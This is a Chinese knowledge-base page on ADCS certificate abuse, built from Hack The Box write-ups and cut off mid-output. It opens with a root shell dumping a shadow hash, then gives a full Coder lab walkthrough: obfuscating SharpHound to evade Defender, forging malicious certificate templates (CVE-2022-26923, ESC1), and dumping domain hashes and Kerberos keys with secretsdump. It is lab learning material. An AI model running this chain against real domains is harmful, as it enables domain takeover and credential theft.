# whoami
root
# cd /root
# cat root.txt
84812ca924eff7423778631959635207
# cat /etc/shadow | grep root
root:$6$gev1Op0YfgboE7iR$iMNbP.8qic/SzTr4atxwLbkI7nScyZWJPbTgoXAlEz5Hcw3Ntget9j3p.iccPcw5Jl4dj4bHWZ5LvoLLNC8iB.:18816:0:99999:7:::
```

Now we are root let's get all the flags.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2066.jpg)

#### Summary of knowledge

 - smb enumeration
 - Directory Fuzzing
 - Sql Injection fuzz
 - Sql Injection payload modify
 - Sql Injection to read files
 - python code execution to get rev shell
 - hashcat crack hash
 - Pspy64 enum process
 - get rev shell through DISCLAIMER FILE and send mail
 - PrivESC through apt privilege escalation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end writer -->

</details>




# ADCS 模板、证书映射与 CA 权限

证书利用要同时核对注册者、模板字段、颁发条件与认证端的身份映射。本章对照 Coder、Authority、Escape 和 Manager，保留 certipy、Certify、Rubeus 与 PassTheCert 的原有输出和分支。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/adcs/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Coder 的 dNSHostName 与模板状态不同于 Authority 的任意 SAN 条件。

Escape 同时记录证书和 Silver Ticket；Manager 关注 ManageCA 与颁发审批。

PKINIT 不可用、时钟不一致和清理任务恢复对象，都会改变原链下一步是否可执行。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [dNSHostName 与证书模板状态](#case-coder) | coder | ADCS、CVE-2022-26923、BloodHound |
| [SQL 服务账户与两种身份路径](#case-escape) | escape | ADCS、Silver Ticket、MSSQL、NTLM |
| [ESC1 与不支持 PKINIT 时的证书认证](#case-htb-authority) | htb-authority | ADCS、ESC1、Ansible、PassTheCert |
| [ManageCA 权限与 ESC7](#case-htb-manager) | htb-manager | ADCS、ESC7、MSSQL |

<a id="case-coder"></a>

## dNSHostName 与证书模板状态

CVE-2022-26923 的预期路径与模板修改的替代路径同时留存。尤其保留 Enrollment Flag、Name Flag 和靶场清理脚本恢复对象后所需的重新配置步骤。

<p class="kb-provenance">来源 coder · 原记录 2023-12-19 · 33 个代码块 · 18 处图片引用</p>

<details class="kb-evidence" id="record-coder">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start coder -->

#### 简述

本文是insane难度的HTB Coder机器的域渗透部分，其中Bloodhound AD Enumeration, ADCS CVE-2022-26923等域渗透提权细节是此box的特色，主要参考[0xdf's blog coder walkthrough](https://0xdf.gitlab.io/2023/12/16/htb-coder.html)和[HTB的coder官方writeup paper](https://app.hackthebox.com/machines/Coder/writeups)记录这篇博客加深记忆和理解，及供后续做深入研究查阅，备忘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder.png)



#### 直接来到提权部分

通过列出e.black用户所属的组来开始枚举。

``` bash
*Evil-WinRM* PS C:\Users\e.black\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
CODER\PKI Admins                            Group            S-1-5-21-2608251805-3526430372-1546376444-2101 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

*Evil-WinRM* PS C:\Users\e.black\Documents> net group "PKI Admins"
Group name     PKI Admins
Comment        ADCS Certificate and Template Management

Members

-------------------------------------------------------------------------------
e.black
The command completed successfully.
```

列出了几个组，其中最值得注意的是PKI Admins，继续枚举它们。

该组织控制着Active Directory Certificate Services (ADCS) 证书，为潜在的ADCS滥用打开了大门。从这里开始，可以继续手动枚举系统，或者尝试使用混淆版本的SharpHound来做大部分的枚举。

#### bloodhound信息收集

通过之前渗透得到的账号密码信息继续使用bloodhound-python进行信息收集

``` bash
~/hackthebox/machine/coder ⌚ 18:44:17
$ bloodhound-python -c All -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -ns 10.10.11.207 -d coder.htb -dc coder.htb --zip
INFO: Found AD domain: coder.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: coder.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: coder.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 10 users
INFO: Found 55 groups
INFO: Found 3 gpos
INFO: Found 5 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.coder.htb
INFO: Done in 02M 23S
INFO: Compressing output into 20231220185002_bloodhound.zip
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder1.png)

或[SharpHound v1.1.1](https://github.com/BloodHoundAD/SharpHound/releases/download/v1.1.1/SharpHound-v1.1.1.zip)

 - 注意这里[SharpHound最新版2.3.0](https://github.com/BloodHoundAD/SharpHound/releases/download/v2.3.0/SharpHound-v2.3.0.zip)收集到的zip文件，最新版[bloodhound 4.3.1](https://github.com/BloodHoundAD/BloodHound/releases/download/v4.3.1/BloodHound-win32-x64.zip)解析不了，多次尝试发现只有[SharpHound v1.1.1](https://github.com/BloodHoundAD/SharpHound/releases/download/v1.1.1/SharpHound-v1.1.1.zip)版本不会被杀软kill，而且可以正常收集zip文件，最新版[bloodhound 4.3.1](https://github.com/BloodHoundAD/BloodHound/releases/download/v4.3.1/BloodHound-win32-x64.zip)也能正常解析

``` bash
*Evil-WinRM* PS C:\Users\e.black\Documents> wget 10.10.16.55/SharpHound.exe -o SharpHound.exe
*Evil-WinRM* PS C:\Users\e.black\Documents> ./SharpHound.exe -c ALL
2023-12-20T16:27:11.3045690-08:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2023-12-20T16:27:11.5155041-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-12-20T16:27:11.5436318-08:00|INFORMATION|Initializing SharpHound at 4:27 PM on 12/20/2023
2023-12-20T16:27:11.6842528-08:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for coder.htb : dc01.coder.htb
2023-12-20T16:27:11.9936243-08:00|INFORMATION|Loaded cache with stats: 286 ID to type mappings.
 287 name to SID mappings.
 1 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2023-12-20T16:27:12.0076864-08:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-12-20T16:27:12.1905057-08:00|INFORMATION|Beginning LDAP search for coder.htb
2023-12-20T16:27:12.2467555-08:00|INFORMATION|Producer has finished, closing LDAP channel
2023-12-20T16:27:12.2467555-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-12-20T16:27:39.4999666-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 38 MB RAM
2023-12-20T16:27:54.6311380-08:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2023-12-20T16:27:54.6733182-08:00|INFORMATION|Output channel closed, waiting for output task to complete
2023-12-20T16:27:54.7998809-08:00|INFORMATION|Status: 103 objects finished (+103 2.191489)/s -- Using 42 MB RAM
2023-12-20T16:27:54.7998809-08:00|INFORMATION|Enumeration finished in 00:00:47.3425399
2023-12-20T16:27:54.8983208-08:00|INFORMATION|Saving cache with stats: 286 ID to type mappings.
 287 name to SID mappings.
 1 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2023-12-20T16:27:54.9123809-08:00|INFORMATION|SharpHound Enumeration Completed at 4:27 PM on 12/20/2023! Happy Graphing!
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder3.png)

或者使用混淆版本的SharpHound

使用[InvisibilityCloak](https://github.com/h4wkst3r/InvisibilityCloak)脚本对[SharpHound](https://github.com/BloodHoundAD/SharpHound)源码进行混淆以绕过windows defender

``` bash
python InvisibilityCloak.py -d /root/SharpHound -m reverse -n "ObfuscatedHound"
```

对混淆后的源码进行编译

``` bash
dotnet restore .
dotnet build
```

尽管有一些错误和提示Build失败的消息，混淆可执行文件还是可以在SharpHound/bin/Debug/net462目录中找到。

``` bash
cp SharpHound/bin/Debug/net462/ObfuscatedHound.exe .
python3 -m http.server 80
```

把zip上传到bloodhound gui。通常第一件事是将已经拿下的用户标记为owned。在本例中，是svc_teamcity、e.black，还有s.blade。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder2.png)

#### bloodhound分析攻击路径

 - e.black

e.black也没有出站控制，他们是另一个有趣的group PKI Admins的成员:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder4.png)

虽然这不是默认组，但它似乎可以控制PKI。该group的评论证实了这与ADCS有关:

``` bash
*Evil-WinRM* PS C:\Users\e.black\Documents> net group "PKI Admins"
Group name     PKI Admins
Comment        ADCS Certificate and Template Management

Members

-------------------------------------------------------------------------------
e.black
The command completed successfully.
```

 - s.blade

s.blade也没有出站控制，但是两个组的成员，"Software Developers"和"Buildagent Mgmt":

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder5.png)

两个组都和TeamCity有关:

``` bash
*Evil-WinRM* PS C:\Users\e.black> net group "Buildagent Mgmt"
Group name     BuildAgent Mgmt
Comment        Teamcity BuildAgent Management

Members

-------------------------------------------------------------------------------
s.blade
The command completed successfully.
*Evil-WinRM* PS C:\Users\e.black> net group "Software Developers"
Group name     Software Developers
Comment        Teamcity CI/CD Development

Members

-------------------------------------------------------------------------------
j.briggs                 s.blade
The command completed successfully.
```

使用neo4j数据库语句查询它们之间的关系

```bash
MATCH p=(o:OU)-[r:Contains*0..]->(n) RETURN p
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder6.png)

这对正在处理的Organizational Units(OU)有了一个坚实的概述，即:

```bash
OU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTB
```

最后，为了获得节点层次结构的完整概述，使用以下Cypher查询:

```bash
MATCH (o1)-[r1:Contains]->(o2:OU) WITH o1 MATCH p=(d)-[r2:Contains*0..]->(o1)-[r3:Contains]->(n) RETURN p
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder7.png)

这里要查看的一件事是此AD中的organizational units (OU)。这可以用PowerShell完成:

``` bash
*Evil-WinRM* PS C:\Users\e.black> Get-ADOrganizationalUnit -filter * | select Name

Name
----
Domain Controllers
Development
Groups
Users
BuildAgents
```

有了上述所有信息，现在可以枚举OU上的权限。来看BuildAgent mgmt组的访问控制列表(ACL)。

``` bash
*Evil-WinRM* PS C:\Users\e.black\Documents> (Get-ACL "AD:$((Get-ADOrganizationalUnit -Identity 'OU=BuildAgents,OU=DEVELOPMENT,DC=CODER,DC=HTB').distinguishedname)").access | where IdentityReference -eq "CODER\BuildAgent mgmt"


ActiveDirectoryRights : CreateChild, DeleteChild
InheritanceType       : All
ObjectType            : bf967a86-0de6-11d0-a285-00aa003049e2
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : ObjectAceTypePresent
AccessControlType     : Allow
IdentityReference     : CODER\BuildAgent Mgmt
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None

ActiveDirectoryRights : Self, ReadProperty, WriteProperty
InheritanceType       : Descendents
ObjectType            : 72e39547-7b18-11d1-adef-00c04fd8d5cd
InheritedObjectType   : bf967a86-0de6-11d0-a285-00aa003049e2
ObjectFlags           : ObjectAceTypePresent, InheritedObjectAceTypePresent
AccessControlType     : Allow
IdentityReference     : CODER\BuildAgent Mgmt
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : InheritOnly
```

可以看到两个条目指向两个不同的对象; 前者bf967a86-0de6-11d0-a285-00aa003049e2表示[Computer对象](https://learn.microsoft.com/en-us/windows/win32/adschema/c-computer)，后者72e39547-7b18-11d1-adef-00c04fd8d5cd表示[Validated-DNS-Host-Name](https://learn.microsoft.com/en-us/windows/win32/adschema/r-validated-dns-host-name)。

#### Exploit - Intended (CVE-2022-26923)

根据提供的信息，理解s.blade是BuildAgent Mgmt组的成员，具有在BuildAgents OU中创建和删除计算机对象的ACLs。此外，知道e.black有能力通过PKI Admins组的成员资格来管理ADCS证书模板。

通过组合这些权限，攻击者可以创建恶意证书模板，注册具有DNS名称dc01的计算机对象，并使用certipy提取NTLM hash。然而，应该注意的是，这个被称为"Certifried"的漏洞最近在2022年5月被修补了。然而，在研究了补丁的细节之后，有可能利用e.black的权限来修改带有自定义flags的模板，以绕过新的安全措施。

在此漏洞中，DNS host name属性(dNSHostName)不需要在域中是唯一的，因此，攻击者可以在完全控制的计算机上更改dNSHostName属性以匹配目标计算机(如DC)，然后滥用ADCS以获得该DC的证书。这将使攻击者能够以DC的身份做一些事情，比如dump hash。

根据[Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4)，"在msPKI-Enrollment-Flag属性中设置了新的CT_FLAG_NO_SECURITY_EXTENSION (0x80000)的证书模板不会嵌入新的szOID_NTDS_CA_SECURITY_EXT OID，因此，这些模板仍然容易受到这种攻击。"

这意味着可以通过将CT_FLAG_NO_SECURITY_EXTENSION参数设置为524288(或十六进制中的0x8000)来制作恶意模板。为此，使用[ADCSTemplate](https://github.com/GoateePFE/ADCSTemplate)克隆一个模板，对其进行必要的调整。

 - 攻击策略

e.black对PKI/ADCS具有权限。使用它来导入一个带有CT_FLAG_NO_SECURITY_EXTENSION flag的新ADCS模板。

然后，作为s.blade，将向域中添加一台计算机，特别是添加到BuildAgents OU中，并将dNSHostName设置为DC01.coder.htb。

然后用恶意模板注册那台新机器。

然后，使用certipy为DC获取certificate，使用与新添加的计算机相关联的密码作为auth。

有了这个证书，就可以从DC dump hash。

``` bash
*Evil-WinRM* PS C:\programdata> upload ADCSTemplate.psm1
*Evil-WinRM* PS C:\programdata> import-module .\ADCSTemplate.psm1
```

首先生成一个样板Active Directory证书模板，并将其保存在一个JSON文件中

``` bash
*Evil-WinRM* PS C:\programdata> Export-ADCSTemplate -displayname Computer > out.json
```

接下来，将生成的JSON对象读入一个变量，并将前面提到的msPKI-Enrollment-Flag属性设置为524288。然后将JSON数据保存回out.json文件。

``` bash
*Evil-WinRM* PS C:\programdata> $a = get-content out.json -raw | convertfrom-json
*Evil-WinRM* PS C:\programdata> $a.'msPKI-Enrollment-Flag' = 524288
*Evil-WinRM* PS C:\programdata> $a | convertto-json | set-content out.json
```

现在，可以使用New-ADCSTemplate基于JSON导出创建一个新的ADCS模板

``` bash
*Evil-WinRM* PS C:\programdata> New-ADCSTemplate -displayname pwn -Publish -JSON (gc out.json -raw)
```

现在准备将访问控制列表设置为证书模板，但是首先，必须使用s.blade的权限创建恶意计算机对象。为此，使用[Impacket](https://github.com/fortra/impacket)的addcomputer.py，必须稍微修改一下，将DNS名称设置为dc01。

修改addcomputer.py脚本，如下所示:

``` bash
ucd = {
    #'dnsHostName': '%s.%s' % (computerHostname, self.__domain),
    'dnsHostName': '%s.%s' % ("dc01", self.__domain),
    'userAccountControl': 0x1000,
    'servicePrincipalName': spns,
    'sAMAccountName': self.__computerName,
    'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
}
```

注释掉了dnsHostName变量并直接对目标进行硬编码。现在，继续使用发现的s.blade凭据添加恶意计算机对象

``` bash
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- python addcomputer.py 'coder.htb/s.blade:AmcwNO60Zg3vca3o0HDrTC6D' -method LDAPS -computer-name 'PWN_PC' -computer-pass 'MeloPwnMe' -computer-group OU=BuildAgents,OU=DEVELOPMENT,DC=CODER,DC=HTB
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Successfully added machine account PWN_PC$ with password MeloPwnMe.
```

现在已经添加了新的PWN_PC$帐户，可以使用修改后的证书注册它。在目标机器上运行如下命令:

``` bash
*Evil-WinRM* PS C:\programdata> Set-ADCSTemplateACL -displayname pwn -type allow -identity 'coder\pwn_pc$' -enroll
```

没有任何输出，表明命令运行成功。现在的最后一步是使用[Certipy](https://github.com/ly4k/Certipy)来请求和验证证书，使用之前设置的密码。

``` bash
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- ntpdate dc01.coder.htb
2023-12-20 22:31:01.530099 (-0500) -1.041850 +/- 0.172013 dc01.coder.htb 10.10.11.207 s1 no-leap
CLOCK: time stepped by -1.041850
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- certipy req -u PWN_PC\$@dc01.coder.htb -p 'MeloPwnMe' -ca CODER-DC01-CA -template pwn -target dc01.coder.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 21
[*] Got certificate with DNS Host Name 'dc01.coder.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'dc01.pfx'
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder8.png)

 - 注意: 如果在此阶段出现错误，则清理脚本可能已经擦除了创建的计算机对象。必须再次运行New-ADCSTemplate、addcomputer.py和Set-ADCSTemplateACL命令。

已经成功申请了dc01.coder.htb的证书，保存到dc01。

现在可以使用该文件对证书进行身份验证。

``` bash
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- certipy auth -pfx dc01.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: dc01$@coder.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@coder.htb': aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder9.png)

使用certipy的auth函数，通过Kerberos进行身份验证，并接收dc01的Ticket Granting Ticket (TGT)以及NT hash。

最后，可以使用NT hash和Impacket的secretsdump.py从域控制器中dump hash。

``` bash
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- secretsdump.py coder.htb/dc01\$@dc01.coder.htb -hashes :56dc040d21ac40b33206ce0c2f164f94 -dc-ip dc01.coder.htb
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26000ce1f6ca4029ec5d3a95631e797c:::
coder.htb\e.black:1106:aad3b435b51404eeaad3b435b51404ee:e1b96bbb66a073787a3310b5a956200d:::
coder.htb\c.cage:1107:aad3b435b51404eeaad3b435b51404ee:3ab6e9f70dbc0d19623be042d224b993:::
coder.htb\j.briggs:1108:aad3b435b51404eeaad3b435b51404ee:e38976c0b20e3e41e9c62da792115a33:::
coder.htb\l.kang:1109:aad3b435b51404eeaad3b435b51404ee:b8aba4878e4777864b292731ac88b4cd:::
coder.htb\s.blade:1110:aad3b435b51404eeaad3b435b51404ee:4e4a79beed7d042627d0a7b10f5d008a:::
coder.htb\svc_teamcity:5101:aad3b435b51404eeaad3b435b51404ee:4c5a6890e09834a6834dbf7a76bf20cb:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:86a6a038ff6058c56a74e2e35008f6b037b8e7bca8c75cc5ee4495f77d0be71e
Administrator:aes128-cts-hmac-sha1-96:6d63b0853502cbbc8c8e40ad8fe88fa3
Administrator:des-cbc-md5:37feabd9d9575785
krbtgt:aes256-cts-hmac-sha1-96:aeb517a1efec8b79479cb1432e734555bc1039bcbd77bcdc39234b37199a70d3
krbtgt:aes128-cts-hmac-sha1-96:2bab4af978e4cee0b58fa1d377d35981
krbtgt:des-cbc-md5:100489b5839798cb
coder.htb\e.black:aes256-cts-hmac-sha1-96:ccb6c47af9a05d91e7610fe396cd8ffcc0e51279a2eee253fab1fb40536a5a85
coder.htb\e.black:aes128-cts-hmac-sha1-96:650ad0d49ab4bcff325a7f2a846d433f
coder.htb\e.black:des-cbc-md5:89290da2c2cd16ec
coder.htb\c.cage:aes256-cts-hmac-sha1-96:ea9cc2144c3106e9325b1ddda16c27c644d9f9b7e95098581ceba19c75d9b296
coder.htb\c.cage:aes128-cts-hmac-sha1-96:2cff13848c9e8d07339a6ab41bf72088
coder.htb\c.cage:des-cbc-md5:fd6d578510df1af1
coder.htb\j.briggs:aes256-cts-hmac-sha1-96:ec3ac8b99094903a3ca006a725dc0867666347efb4baf04d8b2f8b0305ab65ee
coder.htb\j.briggs:aes128-cts-hmac-sha1-96:39050d78545c40645fa889c13200f8f7
coder.htb\j.briggs:des-cbc-md5:7f5286d35def8f15
coder.htb\l.kang:aes256-cts-hmac-sha1-96:d7eb03d2695638c4ba423cd88e22dcdd7c0f6da996e5d6ed3af6c6d7e6c56661
coder.htb\l.kang:aes128-cts-hmac-sha1-96:25ad8331aa0fa2b26e220040b9e55937
coder.htb\l.kang:des-cbc-md5:571a573e61ced640
coder.htb\s.blade:aes256-cts-hmac-sha1-96:ceeab374597121113f3bdee3aab1fed0522506909b2f1ec24dfe36045eb3c252
coder.htb\s.blade:aes128-cts-hmac-sha1-96:69f4cada02748fba948e4c15460add9e
coder.htb\s.blade:des-cbc-md5:26eca8ad9deaada2
coder.htb\svc_teamcity:aes256-cts-hmac-sha1-96:b6c7ed72b4434a89c56295df6b42ca68937702dda15f90f23423e8712abce030
coder.htb\svc_teamcity:aes128-cts-hmac-sha1-96:d6604e2fadb40bbf71708e7b9c9734a7
coder.htb\svc_teamcity:des-cbc-md5:264ab5645ed91c86
DC01$:aes256-cts-hmac-sha1-96:a43b686fdd5f2e576ad834c5b1d4327dd5bdbd3ec579677343a2c6c43c8f1740
DC01$:aes128-cts-hmac-sha1-96:22192237a3cb399c19a6b469dcd1cba8
DC01$:des-cbc-md5:cb9758c162ba4943
[*] Cleaning up...
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder10.png)

#### Exploit - Shortcut

e.black有权创建ADCS模板。上面展示了上传一个错误配置的模板，导致CVE-2022-26923。可以上传任何脆弱的模板。

[Certipy](https://github.com/ly4k/Certipy)显示了上面修改的相同的"Computer"模板。将运行它来获取所有模板并将它们保存到一个文件:

``` bash
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- certipy find -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -text
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'coder-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'coder-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'coder-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'coder-DC01-CA'
[*] Saved text output to '20231220224850_Certipy.txt'
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder11.png)

``` bash
 33
    Template Name                       : User
    Display Name                        : User
    Certificate Authorities             : coder-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectRequireEmail
                                          SubjectAltRequireEmail
                                          SubjectAltRequireUpn
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CODER.HTB\Domain Admins
                                          CODER.HTB\Domain Users
                                          CODER.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CODER.HTB\Enterprise Admins
        Write Owner Principals          : CODER.HTB\Domain Admins
                                          CODER.HTB\Enterprise Admins
        Write Dacl Principals           : CODER.HTB\Domain Admins
                                          CODER.HTB\Enterprise Admins
        Write Property Principals       : CODER.HTB\Domain Admins
                                          CODER.HTB\Enterprise Admins
```

复制一个易受ESC1影响的。BlackHills有一篇很好的[Abusing Active Directory Certificate Services – Part One](https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/)，列出了ESC1所需的内容，包括以下图片:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder12.png)

与上面的"computer"模板相比，需要更改"Enrollee Supplies Subject"和"Certificate Name Flag"。如果在Certipy仓库中搜索该字符串，看到它们可能是相关的，并且ENROLLEE_SUPPLIES_SUBJECT值为1:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder13.png)

它与msPKI-Certificate-Name-Flag有关。像上面那样在PowerShell中获得一个模板作为对象:

``` bash
*Evil-WinRM* PS C:\programdata> Export-ADCSTemplate -displayName Computer > computer.json
*Evil-WinRM* PS C:\programdata> $computer = cat computer.json -raw | ConvertFrom-Json
```

可以找到需要更改的属性的确切名称:

``` bash
*Evil-WinRM* PS C:\programdata> $computer | get-member | findstr Name-Flag
msPKI-Certificate-Name-Flag   NoteProperty int msPKI-Certificate-Name-Flag=402653184
```

把它改成0x1

``` bash
*Evil-WinRM* PS C:\programdata> $computer.'msPKI-Certificate-Name-Flag' = 0x1
```

现在将其输出到JSON中，然后创建模板，并注册e.black:

``` bash
*Evil-WinRM* PS C:\programdata> $computer | ConvertTo-Json | Set-Content computer-mod-esc1.json
*Evil-WinRM* PS C:\programdata> New-ADCSTemplate -DisplayName "0xdf-ESC1" -Publish -JSON (cat computer-mod-esc1.json -raw)
*Evil-WinRM* PS C:\programdata> Set-ADCSTemplateACL -DisplayName "0xdf-ESC1" -type allow -identity 'coder\e.black' -enroll
```

如果扫描Coder与证书现在寻找易受攻击的模板(-vulnerable)，这个新的模板:

``` bash
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- certipy find -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -text -stdout -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'coder-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'coder-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'coder-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'coder-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : coder-DC01-CA
    DNS Name                            : dc01.coder.htb
    Certificate Subject                 : CN=coder-DC01-CA, DC=coder, DC=htb
    Certificate Serial Number           : 2180F0D10CFECB9840260D0730724BDF
    Certificate Validity Start          : 2022-06-29 03:51:44+00:00
